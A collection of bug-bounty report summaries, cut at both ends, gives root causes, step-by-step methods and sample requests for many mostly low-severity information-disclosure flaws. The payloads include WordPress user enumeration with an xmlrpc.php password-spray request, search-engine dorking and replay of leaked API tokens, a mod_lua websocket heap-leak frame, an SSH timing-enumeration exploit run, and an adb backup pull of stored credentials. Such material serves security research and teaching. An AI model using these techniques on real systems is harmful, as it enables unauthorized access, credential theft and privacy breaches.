username=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&password=test123A
# -> {"message":"...INSERT INTO `oc_users`... with params [\"aaa...\",\"1|$2y$10$...\"]: Duplicate entry ... for key 'PRIMARY'"}
Insight — Unhandled DB exceptions surfaced to the client leak query structure and bound parameter values (hashes, tokens). Deliberately trip constraint violations (duplicate keys, over-length, type mismatch) to force these verbose errors.
Real-world example
Unauthenticated Jira query/component endpoints leak project data
◆ Low
Specimen #994612 · informatica · none · 6 votes · resolved
Program informaticaSurface web
Root cause
A Jira instance exposes /secure/QueryComponent!Default.jspa without authentication, letting anonymous users view project names, component/ticket details and usernames intended to be internal.
Method
- Locate the Jira host
- Request /secure/QueryComponent!Default.jspa (and similar anon-reachable Jira endpoints)
- Harvest project names, ticket titles and usernames for further targeting
GET https://jira.TARGET/secure/QueryComponent!Default.jspa
# also try: /secure/Dashboard.jspa , /rest/api/2/project , /secure/ConfigureReport.jspa , /secure/popups/UserPickerBrowser.jspa
Insight — Public Jira/Confluence instances routinely expose anonymous data-leak endpoints (QueryComponent, project REST API, UserPickerBrowser). Enumerate these to map internal projects and usernames before deeper attacks.
Real-world example
Error-based full path + PHP stack trace disclosure via forced 500
◆ Low
Specimen #1354334 · nextcloud · awarded · 6 votes · resolved
Program nextcloudSurface web
Root cause
Application returns an unhandled exception (HTTP 500) whose JSON/HTML body contains the absolute filesystem path and full framework stack trace, disclosing web root, app layout and parent folder names.
Method
- Find an endpoint that references a resource by id/path (attachment, share, upload)
- Send a request that makes the referenced object invalid/deleted (re-send a DELETE, reference a missing file, or supply a malformed path)
- Observe the 500 body: it leaks /var/www/<app>/... absolute paths and the exception trace
- Harvest web root + directory structure for use in LFI/log-poisoning/other attacks
DELETE /apps/deck/cards/11/attachment/file:1 HTTP/2
Host: TARGET
# re-send after the attachment is already deleted -> 500 with:
# "file":"/var/www/<webroot>/custom_apps/deck/lib/Sharing/DeckShareProvider.php","line":586 ... full trace
Insight — Deliberately break object references (delete-then-reuse, malformed path like //Readme.md, wrong file type on upload) to force verbose 500s; the leaked absolute path and stack trace are prime recon for LFI, log poisoning and understanding app internals.
Real-world example
WordPress username enumeration bypassing hardened /wp-json/wp/v2/users
◆ Low
Specimen #1408589 · mtn_group · none · 6 votes · resolved
Program mtn_groupSurface webChain user enumeration -> xmlrpc.php credential spray -> acc
Root cause
Even when /wp-json/wp/v2/users is locked down (401), alternate WordPress endpoints (oEmbed proxy, author sitemap, ?author=N redirects) still leak author usernames, which are then bruteforceable via an enabled xmlrpc.php.
Method
- Try /wp-json/wp/v2/users/ (may be 401 if hardened)
- Bypass via /wp-json/oembed/1.0/embed?url=<site>/&format=json (leaks author_name)
- Bypass via /author-sitemap.xml and /?author=1 (301 redirect to /author/<username>)
- Collect usernames, then password-spray them through xmlrpc.php wp.getUsersBlogs (amplified, no lockout)
GET /wp-json/oembed/1.0/embed?url=https://TARGET/&format=json
GET /author-sitemap.xml
GET /?author=1 # 301 -> /author/<username>
POST /xmlrpc.php HTTP/1.1
Host: TARGET
Content-Type: text/xml
<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>USERNAME</value></param><param><value>PASSWORD</value></param></params></methodCall>
Insight — Blocking /wp-json/wp/v2/users is not enough; always check oEmbed, author-sitemap and ?author=N. xmlrpc wp.getUsersBlogs turns a username list into a stealthy amplified credential-spray primitive.
Real-world example
Excessive data exposure on an internal API endpoint reachable by any user
◆ Low
Specimen #165131 · instacart · awarded · 5 votes · resolved
Program instacartSurface api
Root cause
An internal/admin-oriented API endpoint (/api/v2/zones) was accessible to any authenticated regular user and returned staff PII, phone numbers, emails and internal financials (pay guarantees) with no field-level filtering.
Method
- Enumerate API routes (/api/v1, /api/v2, sitemaps, JS bundles)
- Request administrative/config-sounding endpoints (zones, regions, settings) as a low-priv user
- Inspect JSON for over-returned fields: emails, phones, salaries, supervisor names
GET /api/v2/zones HTTP/1.1
Host: TARGET
# returns supervisor_phone, applicant_supervisor_email, hourly_guarantee_amount_cents, ...
Insight — Config/admin-named API endpoints (zones, regions, plans, settings) are often authz-checked only for existence, not audience; a regular user token frequently returns full internal objects. Diff the JSON against what the UI actually shows to spot excessive data exposure.
Real-world example
Exposed phpinfo() page (paths, internal IPs, env, config)
◆ Low
Specimen #17514 · uzbey · none · 5 votes · resolved
Program uzbeySurface web
Root cause
A phpinfo() debug page was left web-accessible, disclosing exact PHP/OS versions, loaded extensions, internal IPs, absolute paths and server environment variables.
Method
- Brute common phpinfo filenames on the host (esp. staging/dev subdomains)
- If found, harvest absolute paths, internal IPs, env vars, and precise versions for follow-on attacks
/phpinfo.php
/info.php
/php_info.php
/test.php
/i.php
/pi.php
Insight — phpinfo is more than a version banner: it leaks DOCUMENT_ROOT/absolute paths (for LFI/log poisoning), internal IPs (for SSRF pivoting) and env vars (sometimes secrets). Staging/dev subdomains are the prime place to find it.
Real-world example
Source map / un-compiled asset disclosure
◆ Low
Specimen #90367 · security · none · 5 votes · resolved
Program securitySurface web
Root cause
Production served un-minified CSS/JS with embedded sourceMappingURL, original sass sources, version strings and developer comments, exposing internal structure and remarks intended to be private.
Method
- Fetch bundled assets and check the tail for //# sourceMappingURL=
- Request the .map file (or .scss/.ts originals) to recover source, comments and structure
- Grep recovered source for endpoints, feature flags, TODO/secret hints
GET /assets/application.css HTTP/1.1
# look for: /*# sourceMappingURL=application.css.map */
GET /assets/application.css.map
GET /assets/application.js.map
Insight — Always pull .map files and un-minified bundles; source maps reconstruct original source (comments, internal names, hidden routes). Simple but consistently useful recon on modern JS/CSS apps.
Real-world example
JSON endpoint over-exposes privileged fields (and after access revoked)
◆ Low
Specimen #94336 · security · none · 5 votes · resolved
Program securitySurface web
Root cause
The .json representation of a resource returned privileged fields (minimum_bounty, team details) not shown in the UI, and continued to return them to a user whose team access had been revoked but who still had access to their own submitted report.
Method
- Append .json to a resource URL (/reports/<id>.json) to get the raw object
- Compare returned fields against the UI - look for privileged extras (bounty config, internal flags)
- Retest after your access/role is downgraded/removed: stale grants often still return the data
GET /reports/<REPORT_ID>.json HTTP/1.1
# UI hides it, but JSON returns: "minimum_bounty":1000, team details, internal flags
Insight — The .json/.xml/API twin of a page frequently serializes MORE fields than the HTML view. Always diff raw representations against the UI, and re-check access AFTER role changes - authorization is often evaluated at grant time, not per request.
Real-world example
Private program/resource existence oracle via endpoint response differential
◆ Low
Specimen #116798 · security · awarded · 5 votes · resolved
Program securitySurface web
Root cause
A settings endpoint returned a distinguishable response (true/false JSON vs 404) depending on whether a given handle referenced a real private program, letting an attacker confirm existence of otherwise-private entities.
Method
- Find an endpoint that takes an entity handle/id and returns a boolean/JSON when it exists
- Request it with a candidate private handle
- true/false => exists; 404 => not; enumerate handles to confirm private programs/resources
GET /settings/allow_report_submission.json?team_handle=CANDIDATE HTTP/1.1
# valid private program => {true|false}; invalid => 404
Insight — Response-differential oracles (200/JSON vs 404, timing, error text) let you enumerate existence of private objects even when content is protected. Test whether 'does X exist' leaks through status codes or body shape.
Real-world example
Search-engine dorking for API tokens leaked in URL query strings
◆ Low
Specimen #117902 · vkcom · awarded · 5 votes · resolved
Program vkcomSurface apiChain leaked live access_token -> authenticated API access as t
Root cause
API access_tokens passed as URL query parameters ended up in indexable/logged links, so search engines indexed live tokens that could be reused against the API.
Method
- Dork the API host for token parameter names
- Open indexed results and extract the access_token from the query string
- Replay it against API methods to confirm it is live (read friends, data, etc.)
site:api.TARGET.com access_token
site:TARGET.com (access_token OR api_key OR auth_token) inurl:token
# replay:
https://api.TARGET.com/method/friends.get?access_token=LEAKED_TOKEN
Insight — Secrets in URL query strings get indexed by search engines, cached, and logged in referers/proxies. Dork target API hosts for token param names; also flag any app that puts tokens in the URL as a design bug.
Real-world example
API returns private fields not shown in the UI (excessive data exposure)
◆ Low
Specimen #826005 · stagingdoteverydotorg · none · 5 votes · resolved
Program stagingdoteverydotorgSurface api
Root cause
The REST API serializes more fields than the web UI renders, so data the user marked private (followed causes on a private profile) is returned to any authenticated caller who queries the user object directly.
Method
- Capture an authenticated request (grab CSRF token/cookie from any settings save)
- Change it to GET /api/users/<victim_username>
- Read fields in the JSON that the profile page never shows (e.g. causes[])
GET /api/users/<victim_username> HTTP/1.1
Host: TARGET
X-CSRF-Token: <token>
# response leaks:
"isPrivate": true,
"causes": [ { "entityName":"Cause Follow", "causeCategory":"EDUCATION" } ]
Insight — Never judge exposure by the rendered page. Query the object's raw API endpoint directly and diff the JSON against the UI; private/hidden attributes (email, causes, roles, tokens) are routinely over-serialized. Test with a low-priv/non-follower account against a private target.
Real-world example
Unauthenticated GitLab REST API project enumeration
◆ Low
Specimen #1351359 · mtn_group · none · 5 votes · resolved
Program mtn_groupSurface api
Root cause
A self-hosted GitLab instance allows anonymous access to /api/v4/projects, disclosing repo names, namespaces, clone URLs and user identities without authentication.
Method
- Find a GitLab host (subdomain enum, favicon/hash, headers)
- Request /api/v4/projects unauthenticated
- Parse JSON for private repo paths, usernames, ssh/http clone URLs
GET /api/v4/projects HTTP/1.1
Host: TARGET
# -> [{"path_with_namespace":"user/test","http_url_to_repo":"https://TARGET/user/test.git", ...}]
Insight — On any GitLab/Gitea/Gogs host, hit /api/v4/projects (and /api/v4/users, /api/v4/groups) unauthenticated -- default 'public' visibility or misconfig frequently leaks the full repo/user inventory, a springboard for source and secret hunting.
Real-world example
Apache mod_lua websocket read-beyond-bounds heap exfiltration
◆ Low
Specimen #1595290 · ibb · awarded · 5 votes · resolved
Program ibbSurface networkTag webhook
Root cause
lua_websocket_readbytes() assumes ap_get_brigade()/apr_bucket_read() return the requested length; it memcpy's the attacker-declared frame length from a shorter buffer, copying adjacent heap into data returned to the client (CVE-2022-30556). A related int-overflow OOB read exists in ap_strcmp_match() (CVE-2022-28615).
Method
- Target httpd (<=2.4.53) running a mod_lua program that echoes r:wsread()
- Upgrade the connection to websocket
- Send a websocket frame whose declared payload length (e.g. 0x4000) exceeds the actual payload
- Server returns that many bytes of adjacent heap; repeat to walk heap without crashing
GET /bug126.lua HTTP/1.1
Host: TARGET
Upgrade: websocket
Sec-Websocket-Key: aaa
# then a frame claiming 0x4000 bytes but sending none:
\x82\x7f\x00\x00\x00\x00\x00\x00\x40\x00
# lua: function handle(r) if r:wsupgrade() then local d=r:wsread(); r:wswrite(d) end end
Insight — When auditing native/length-driven parsers, never trust that a read API returns the requested count. A caller that memcpy's the requested len from a buffer that returned fewer bytes is an OOB-read heap leak. Also watch signed int indices in string matchers (ap_strcmp_match) that overflow on >2GB inputs.
Real-world example
Full server install-path disclosure via user API endpoint
◆ Low
Specimen #1690510 · nextcloud · none · 5 votes · resolved
Program nextcloudSurface api
Root cause
The cloud/user OCS endpoint returns an internal storageLocation field containing the absolute server data path, leaking filesystem layout/usernames to any authenticated user (CVE-2023-28834).
Method
- Authenticate to the Nextcloud instance
- GET /ocs/v1.php/cloud/user?format=json
- Read the storageLocation field for the absolute install/data path
GET /ocs/v1.php/cloud/user?format=json HTTP/1.1
# -> "storageLocation": "/home/<user>/www/tmp/nextcloud/data/<user>"
Insight — Internal API objects often over-share server metadata (absolute paths, OS user, temp dirs). Grep JSON API responses for filesystem paths; they aid LFI/traversal targeting and confirm the deployment layout.
Real-world example
Framework dumps full process.env (secrets) on crash
◆ Low
Specimen #526258 · nodejs-ecosystem · none · 4 votes · resolved
Program nodejs-ecosystemSurface otherChain crash -> env dump -> credential leak into logs/public Tag cloud-aws
Root cause
seneca's die()/fatal handler prints Util.inspect(process.env) and argv to stderr, so a crash leaks all environment variables (AWS keys, DB URLs, tokens) into logs, monitoring systems and public bug reports.
Method
- Trigger any fatal error in an app using the framework (or call the die path).
- Observe the crash output includes full process.env / argv.
- Harvest secrets from wherever those logs land (CI output, log aggregator, GitHub issue).
var seneca = require('seneca')()
seneca.die() // crash dump includes env=... with every process.env var
Insight — When auditing services, force crashes and read stack/crash output for leaked env vars; when reviewing code, grep error/fatal handlers for process.env, Util.inspect(process.env), argv dumps. Secrets in crash logs routinely reach public issue trackers.
Real-world example
Verbose framework exceptions via HTTP method/param fuzzing
◆ Low
Specimen #833836 · clario · awarded · 4 votes · resolved
Program clarioSurface api
Root cause
An API endpoint with debug/verbose error handling returns detailed framework exceptions (Laravel MethodNotAllowedHttpException, TypeError, SuspiciousOperationException) that leak internal file paths and code structure when the request method or parameters are changed.
Method
- Hit the endpoint with an unexpected HTTP method (GET on a POST route) -> MethodNotAllowedHttpException with PHP file details.
- Switch to POST and vary parameters -> TypeError / SuspiciousOperationException.
- Read leaked paths, class names and stack info from the exception pages.
GET https://TARGET/blog/api/send-event # MethodNotAllowedHttpException + PHP file errors
POST https://TARGET/blog/api/send-event # TypeError / SuspiciousOperationException on param fuzzing
Insight — Toggle HTTP methods and malform parameters against API routes to surface framework debug exceptions; verbose Laravel/Symfony error pages leak absolute paths and internals that seed further attacks. Look for APP_DEBUG=true left on.
Real-world example
SSH username enumeration via response timing (OpenSSH CVE-2016-6210)
◆ Low
Specimen #476439 · nextcloud · none · 3 votes · resolved
Program nextcloudSurface networkChain user enumeration -> targeted password spraying
Root cause
Vulnerable OpenSSH (<=7.2p2) hashes the supplied password (BLOWFISH/SHA256) only for existing users; for non-existent users it skips the expensive hash. Sending a very long password makes the timing gap measurable, enabling remote unauthenticated user enumeration.
Method
- Fingerprint the SSH banner; if OpenSSH <= 7.2p2, it is likely affected.
- Run the public exploit (exploit-db 40136) with a username wordlist and a long password.
- Classify: response time below the baseline (~0.047s) = non-existent user; above = valid user.
python 40136.py TARGET -U usernames.txt
# users whose response time < baseline (~0.047s) do NOT exist; slower = valid
# scale with rockyou.txt-style name lists
Insight — Timing side channels turn 'no oracle' into an oracle. For any known-CVE infra timing bug, apply the public PoC against in-scope hosts after banner-fingerprinting - a low-severity but reliable way to enumerate valid accounts for later spraying.
Real-world example
Incomplete fix leaves uninitialized-stack-memory leak (curl TELNET NEW_ENV, CVE-2021-22925)
◆ Low
Specimen #1223882 · curl · awarded · 3 votes · resolved
Program curlSurface other
Root cause
In curl's telnet.c NEW_ENV handling, sscanf() parses a name,value pair; when the name is short but the value is long, the value is truncated into varval yet the `len` counter is advanced by the original unparsed length (tmplen) rather than the actual bytes written, leaving uninitialized bytes in temp[] that are sent on the wire. The 7.77.0 fix only covered the long-name case, not short-name/long-value.
Method
- Re-test an 'incomplete' fix by inverting the input shape the patch assumed (here: swap which of name/value is long).
- Use NEW_ENV with a short name and a >255-char value against a telnet listener.
- Observe uninitialized stack bytes appended after the truncated value in the option data.
curl telnet://127.0.0.1:23 -t NEW_ENV=`python -c "print('a,' + 'b'*256)"`
# short name 'a', long value -> temp[] contains uninitialized stack memory
# root cause: len += tmplen (original length) instead of strlen(varname)+strlen(varval)+2
Insight — When auditing a patched memory bug, model the exact assumption the fix made and feed the complementary input. Length counters that track source length instead of bytes-actually-written are a recurring uninitialized-memory pattern - grep for msnprintf/snprintf results paired with a separately-incremented offset.
Real-world example
Deleted/private profile deanonymized via subscribe widget endpoint
◆ Low
Specimen #93020 · vkcom · awarded · 3 votes · resolved
Program vkcomSurface web
Root cause
An embeddable widget endpoint returns profile data (name, and after subscribing, university) for a user id even when the main profile page hides it as deleted/private.
Method
- Take a user id whose main page shows 'deleted/not created'
- Load widget_subscribe.php?oid=<id> to reveal the real name
- Unhide the hidden subscribe button (remove display:none) and subscribe to further reveal profile fields
https://vk.com/widget_subscribe.php?oid=<user_id>
Insight — Widget/embed/oEmbed/API-preview endpoints are alternate data paths that often skip the privacy filters applied to the primary UI. Always re-request a 'private' object through its widget/embed variant.
Real-world example
Verbose errors & FPD: array/type-confusion params and unhandled inputs leak paths, queries, and internals
◆ Low
Specimen #4811 · concretecms · none · 2 votes · resolved
Program concretecmsSurface webChain verbose error -> harvested SQL schema/paths -> seeds S
Root cause
Application code assumes a scalar parameter but receives an array (or an empty/malformed value); the resulting uncaught DB/type exception is rendered to the client, disclosing absolute filesystem paths, SQL query structure, framework internals, and stack traces.
Method
- Take a normal parameter and re-submit it as an array (name[]=x) or malformed value
- Also try appending an unhandled file extension (report.foo) or emptying an expected cookie
- Observe the raw error: absolute path (FPD), full SQL statement, or framework object dump
- Harvest the leaked query columns/table names to seed SQLi and the paths to seed LFI/log-poisoning
# Array-typed param triggers raw SQL error revealing query + column list
GET /index.php/dashboard/pages/types?ctID[]=4&task=edit
# -> mysqlt error [1054: Unknown column 'Array' ...] SELECT PageTypes.ctID ... FROM PageTypes ...
# Array to PDO::quote -> PDOException with absolute path (#19363)
# Empty session cookie -> session_start() warning with /home/.../session.php (#4931)
# File-op lock error leaks path (#85201):
GET /owncloud/index.php/apps/files_texteditor/ajax/loadfile?filename=lol
# -> {"message":"Could not obtain lock ... \"/opt/lampp/htdocs/owncloud/data/admin/files/lol\""}
# Unhandled extension -> Rails Mime::NullType + memory address (#109420):
GET /reports/1337.foo -> Content-Type: #<Mime::NullType:0x007f3588fe32c8>
Insight — Fuzz parameter *types*, not just values: turning scalar=x into scalar[]=x, empties, or unhandled extensions frequently produces uncaught exceptions. The value of FPD/verbose errors is as a springboard — leaked table/column names accelerate SQLi, leaked absolute paths enable LFI/log-poisoning, and x-sendfile/X-Accel-Redirect response headers or Mime object dumps leak internal structure. Report impact honestly (it is usually a recon primitive, not standalone crit).
Real-world example
Android allowBackup enabled: adb backup exfiltrates app-sandbox credentials
◆ Low
Specimen #12617 · faceless · none · 2 votes · resolved
Program facelessSurface mobile-androidChain allowBackup -> adb backup -> plaintext creds in sharedTag account-takeover
Root cause
The Android app does not set android:allowBackup="false" in its manifest, so the default-on backup feature lets the adb shell user read/write the app's private data directory over USB, extracting files that store credentials in cleartext.
Method
- Confirm the target app lacks allowBackup=false (default is true)
- With physical access to an unlocked device, run adb backup for the package
- Unpack the .ab archive and read shared_prefs (e.g. *_preferences.xml)
- Recover username/password and restore to another device to clone the account
adb backup -f faceless.ab im.delight.faceless
# unpack: dd if=faceless.ab bs=1 skip=24 | openssl zlib -d | tar -xvf -
# -> shared_prefs/im.delight.faceless_preferences.xml contains username + password
adb restore faceless.ab # onto attacker device -> account clone
Insight — Always grep AndroidManifest for allowBackup; if it is missing or true, adb backup is a physical-access exfiltration path for any secrets the app writes to shared_prefs/databases. Pair with insecure-storage findings (plaintext creds/tokens on disk) for impact.
Real-world example
Exposed dev/VCS artifacts: WordPress debug.log & source-control metadata leak paths and structure
◆ Low
Specimen #62778 · udemy · awarded · 2 votes · resolved
Program udemySurface webChain exposed version/readme -> known-CVE lookup; leaked path -
Root cause
Development/deployment artifacts (WordPress debug.log, plugin readme, .svn/.git metadata) are left web-accessible, disclosing absolute server paths, software versions, and internal repository structure.
Method
- Request known artifact paths on WordPress/PHP targets
- Read /wp-content/debug.log for full paths and stack traces; readme.html/readme.txt for versions
- On other stacks fetch /.svn/entries or /.git/ for repo URLs, authors, and internal file layout
https://business.udemy.com/wp-content/debug.log
https://about.udemy.com/readme.html
https://about.udemy.com/wp-content/plugins/all-in-one-seo-pack/readme.txt
# .svn metadata leak (also seen in #83801):
https://apps.owncloud.com/CONTENT/user-pics/0/.svn/entries
# -> url="file:///var/svn/repos/kde-look/trunk/..." last-author="root"
Insight — Bake a recon wordlist of dev artifacts into every scan: wp-content/debug.log, readme.html, plugin readme.txt, .svn/entries, .git/config, .env, *.bak. They cheaply yield exact versions (feed to CVE lookup), absolute paths (feed to LFI/log-poisoning), and internal structure. debug.log can additionally contain query params and secrets logged by the app.
Real-world example
Framework debug page (Laravel APP_DEBUG) leaks source, file tree, and env vars via forced exception
◆ Low
Specimen #129869 · apitest · none · 2 votes · resolved
Program apitestSurface webChain forced exception -> debug page -> leaked env secrets (
Root cause
A production/beta host runs with framework debug/error reporting enabled, so any uncaught exception renders a detailed error page exposing source code, the file listing, and environment variables (which typically hold DB creds, API keys, APP_KEY).
Method
- Find a beta/staging host or a form/endpoint that can be made to throw
- Force an exception (here: tamper the CSRF _token to an invalid value and submit)
- Read the rendered debug page: stack trace, source snippets, file paths, and env vars
# On beta.apitest.io/newsletter, submit the form with a corrupted CSRF token:
POST /newsletter
_token=INVALID_GARBAGE&email=x@x.com&name=x
# -> Whoops/Ignition exception page dumps env vars (APP_KEY, DB creds), source, file list
Insight — Look for APP_DEBUG=true (Laravel Whoops/Ignition), Django DEBUG, Symfony dev, Rails development pages on staging/beta subdomains. A tampered CSRF token, malformed JSON, or a wrong type is often enough to trigger the handler. Leaked APP_KEY / DB creds / env secrets escalate this from info-disclosure to full compromise, so always try to force the error rather than wait for one.
Real-world example
curl combines URL username with mismatched .netrc password (CVE-2026-8926)
◆ Low
Specimen #3735184 · curl · none · 2 votes · resolved
Program curlSurface other
Root cause
When a username is given in the URL and .netrc is enabled, curl should use the password for that specific login or a generic no-login machine entry; instead it pairs the URL username with the password from a differently-named .netrc login on the same host, sending user:otherusers_password.
Method
- Victim has a .netrc entry: machine HOST login alice password secret
- Attacker influences the URL passed to curl/libcurl so it carries a different username for the same host (e.g. bob@HOST)
- curl sends Authorization: Basic base64(bob:secret) - alice's password under bob's name
# .netrc: machine 127.0.0.1 login alice password secret
curl --netrc-optional http://bob@127.0.0.1:18080/
# -> Authorization: Basic Ym9iOnNlY3JldA== (bob:secret)
Insight — In libcurl apps that fetch attacker-influenced URLs with CURLOPT_NETRC set, a URL-injected username can exfiltrate a stored password for the same host under a different account context. When testing credential-store selection logic, mismatch the requested username vs the stored login and check which password is actually sent.
Real-world example
Full server path disclosure via file-lock error (CVE-2016-1501)
◆ Low
Specimen #87505 · owncloud · awarded · 1 votes · resolved
Program owncloudSurface webTag file-upload
Root cause
Uploading an unexpected file type (html) as a profile avatar triggers an unhandled 'Could not obtain lock' error whose message embeds the absolute filesystem path of the webroot/data directory.
Method
- As a non-admin user, upload a non-image file (e.g. .html) where an avatar/image is expected
- Read the resulting error message; it leaks the full server path
Could not obtain lock type 1 on "/opt/lampp/htdocs/owncloud/data/12/files/.../avatar_upload".
Insight — Feed processing endpoints (image/avatar upload, file import) unexpected types to trigger backend errors; lock/permission/parse errors frequently leak absolute paths that seed later LFI/log-poisoning/file-write attacks.
Real-world example
UI-masked collaborator email returned in full in tooltip/raw payload
◆ Low
Specimen #269230 · security · awarded · 111 votes · resolved
Program securitySurface web
Root cause
The collaboration UI displays an invitee email as masked text (m.***@***.com) but the same page's markup/tooltip payload contains the full, unmasked address, disclosing it to all report participants.
Method
- Add/observe a participant shown with a masked email
- Hover the participant icon or inspect the page markup/tooltip data
- Read the full unmasked email in the raw payload
Insight — Masking is often display-only. Whenever PII is shown redacted, inspect the raw HTML/JSON/tooltip/aria attributes and the API response - the full value is frequently present client-side.
Real-world example
Notification 'No Content' privacy setting not enforced on all email paths
◆ Low
Specimen #669438 · security · $500 · 104 votes · resolved
Program securitySurface web
Root cause
A privacy setting ('No Content' email notifications) was enforced on the main notification path but a secondary code path (collaborator/bounty-split invitation email) still leaked the report title, an incomplete fix of a prior report.
Method
- Set program email notifications to 'No Content'
- Trigger each distinct notification type the app can send (here: invite a collaborator to a report)
- Inspect the resulting email; the collaborator-invite path still embedded the sensitive report title
Insight — After a privacy/redaction fix, enumerate EVERY notification-generating action (invite, mention, comment, state change, bounty split) separately; fixes are usually applied per-template, so one path routinely still leaks. Classic incomplete-fix variant hunting.
Real-world example
Masked secret leaks in a secondary UI view
◆ Low
Specimen #2828263 · ibb · awarded · 78 votes · resolved
Program ibbSurface web
Root cause
Sensitive variables set via CLI are masked on the primary Variables page but the masking is not applied on the Audit Logs page, exposing the cleartext value.
Method
- Set a sensitive/masked variable via the CLI or API
- Confirm it is masked on the main settings/list page
- Open every secondary view (audit logs, history/diff, export, API responses) and check whether masking is applied there too
Insight — Secret masking is usually implemented per-view. Enumerate ALL surfaces that render the value (audit/history/diff/export/GraphQL/JSON) - masking is commonly missing on the less-trafficked ones. CVE-2024-50378.
Real-world example
Notification feed leaks existence of a private program
◆ Low
Specimen #1179241 · security · 500 · 64 votes · resolved
Program securitySurface webTag account-takeover
Root cause
The notification/activity feed emits a 'new message' alert for a private program to a user who was never invited, disclosing the private program's existence (and handle) despite /:handle itself being hidden.
Method
- Log into an account not invited to any private program
- Observe an in-app notification (also at /notifications) stating the private program posted a new message
- Read the private program handle from the notification
Insight — Cross-cutting notification/activity/email systems frequently leak the existence of objects the main authorization layer hides. When a resource 404s directly, check whether notifications, digests, search, or webhooks still reference it.
Real-world example
Private program handle leaked via notifications (incomplete-fix regression)
◆ Low
Specimen #1234746 · security · 500 · 39 votes · resolved
Program securitySurface webTag account-takeover
Root cause
Scope/policy update notifications are delivered to users who are not members of a private program, leaking the private program handle; a prior fix for the same class of leak was incomplete.
Method
- Watch your notifications for updates about programs you did not join.
- Inspect the notification/its link target to recover the private program handle.
Insight — Notifications, emails, activity feeds and 'related' widgets are common side channels that leak private object identifiers. When a leak is patched, retest the same surface for incomplete fixes - regressions are frequent.
Real-world example
Notification content-mask setting not applied on all email triggers
◆ Low
Specimen #669776 · security · awarded · 39 votes · resolved
Program securitySurface web
Root cause
A program's 'No Content' email-notification setting suppresses the report title on the invite email but is not applied to the remove-participant email, which still includes the report title -- an inconsistent enforcement of the same privacy control across code paths.
Method
- Set program email notifications to 'No Content'.
- Invite a participant to a report (invite email correctly omits the title).
- Remove that participant; the revocation email discloses the masked report title.
Insight — When a privacy/redaction preference exists, enumerate every event that emits a notification (invite, remove, comment, state-change, digest) and verify each honors the setting; a single un-updated template re-leaks the redacted data. This is the notification-path analogue of the async-authz gap.
Real-world example
Privacy 'No Content' notification setting bypassed on an alternate flow
◆ Low
Specimen #645264 · security · awarded · 33 votes · resolved
Program securitySurface web
Root cause
A program's 'No Content' email-notification setting (which masks report titles) is honored on standard notifications but not on the external-contributor invite path, which emails the full report title/activity.
Method
- Set program email notifications to 'No Content'
- Invite a hacker as an external contributor to a report
- Inspect the invite email - it shows the report title/activity
Insight — A privacy/redaction setting is rarely applied uniformly to every notification code path; enumerate all email/webhook triggers (invites, mentions, state changes) and verify each respects the setting.
Real-world example
UI remnant reveals hidden edition/private state (design side-channel)
◆ Low
Specimen #1130235 · HackerOne · none · 32 votes · resolved
Program HackerOneSurface web
Root cause
A leftover layout divider for a removed Enterprise-only 'Custom fields' field remained in the report UI; its presence implied the program had the Enterprise Product Edition, which in turn implied it was a private program.
Method
- Render a report/publish view for a target program
- Observe the empty space/divider where an edition-gated field would render
- Infer the program's edition (and therefore private status) from the presence of the remnant
Insight — Feature-flag and edition state leaks through UI artifacts: leftover dividers, disabled buttons, empty containers, distinct CSS classes, or conditional whitespace. Diff the DOM of a known-private vs known-public object to find an inference oracle even when the sensitive field itself is removed.
Real-world example
Sensitive data leaked in recorded meetings on company YouTube
◆ Low
Specimen #2097377 · gitlab · awarded · 26 votes · resolved
Program gitlabSurface otherTag account-takeover
Root cause
Internal screen-shares (GitLab 'Unfiltered' channel) recorded and published private issue URLs, code snippets and vuln details on-screen.
Method
- Enumerate the target's YouTube/Vimeo channels (esp. 'unfiltered'/all-hands/eng syncs)
- Scrub frames where a browser/terminal is shared
- Extract on-screen URLs, tokens, code
Insight — Public dev/all-hands recordings are an OSINT goldmine; frame-by-frame the screen-share segments for URLs, dashboards and secrets.
Real-world example
Password reset token leaked via Referer header
◆ Low
Specimen #297198 · deriv · USD 50 · 14 votes · resolved
Program derivSurface webTag account-takeover
Root cause
The password reset token is carried in the URL; when the reset page loads external/third-party resources or links, the token leaks in the Referer header (here amplified by a Firefox Quantum bug that ignored rel=noreferrer).
Method
- Open a reset link that contains the token in the URL.
- Observe outbound requests (analytics, external links, images) carrying the full URL in Referer.
- Capture the token from third-party logs / referer.
Insight — Never place secrets (reset/verify tokens, session ids) in URLs. Test reset pages for Referer leakage to third-party hosts; set Referrer-Policy and avoid token-in-URL entirely.
Real-world example
Anonymous share/upload page ignores per-field profile privacy ACL
◆ Low
Specimen #752353 · nextcloud · none · 5 votes · resolved
Program nextcloudSurface web
Root cause
Per-field profile visibility settings (photo/name set to local/contacts-only) are enforced in the authenticated UI but not on the public anonymous file-drop page, which renders owner photo and full name to unauthenticated visitors.
Method
- Owner sets profile photo/full name visibility to local or contacts only
- Owner (or a delegate with share rights) creates an anonymous upload/file-drop link
- Open the public link unauthenticated
- Owner photo and full name are displayed despite the restriction
Insight — Privacy/visibility flags are frequently checked only on the primary authenticated view. Re-test the same personal data on every alternate rendering surface: public share pages, embeds, API responses, print/export views. Delegated shares can also expose an owner without their knowledge.
Real-world example
P2P node deanonymization via asymmetric handshake zone checks
◆ Low
Specimen #766963 · monero · none · 3 votes · resolved
Program moneroSurface networkChain whitelist seeding -> outbound-handshake all-zone check -&
Root cause
Monero checks the peer id against the local node's peer id only for the incoming peer's own zone on inbound handshakes, but checks all zones on outbound handshakes. An attacker can seed their own peer id (a Tor node's id) into a target's whitelist and later have the target's outbound handshake reveal, via the all-zones check, that its public and Tor identities are the same node.
Method
- Connect to as many public nodes as possible and get added to their peer whitelist/greylist.
- Disconnect; on future inbound connections respond advertising the target Tor node's peer id.
- Wait for the target to initiate an outbound handshake, where the all-zones peer-id check fires and links the public<->Tor identities.
- (Auxiliary timing angle) around a release, log simultaneous public+Tor disconnects to correlate restarts.
Insight — Anonymity/isolation guarantees break when a validation is applied asymmetrically across code paths. When auditing privacy-preserving networks, diff the inbound vs outbound (or send vs receive) handshake logic - a check scoped to one zone in one direction and all zones in the other is a linkage oracle.
Real-world example
Federated-server feature bypasses group-sharing restrictions -> cross-tenant contact leak
◆ Low
Specimen #895730 · nextcloud · none · 3 votes · resolved
Program nextcloudSurface web
Root cause
With group-restricted sharing/autocompletion enabled, the contacts menu still returns contacts imported from a federated server, ignoring the local group restriction - so a user isolated in their own group sees every contact from the remote instance.
Method
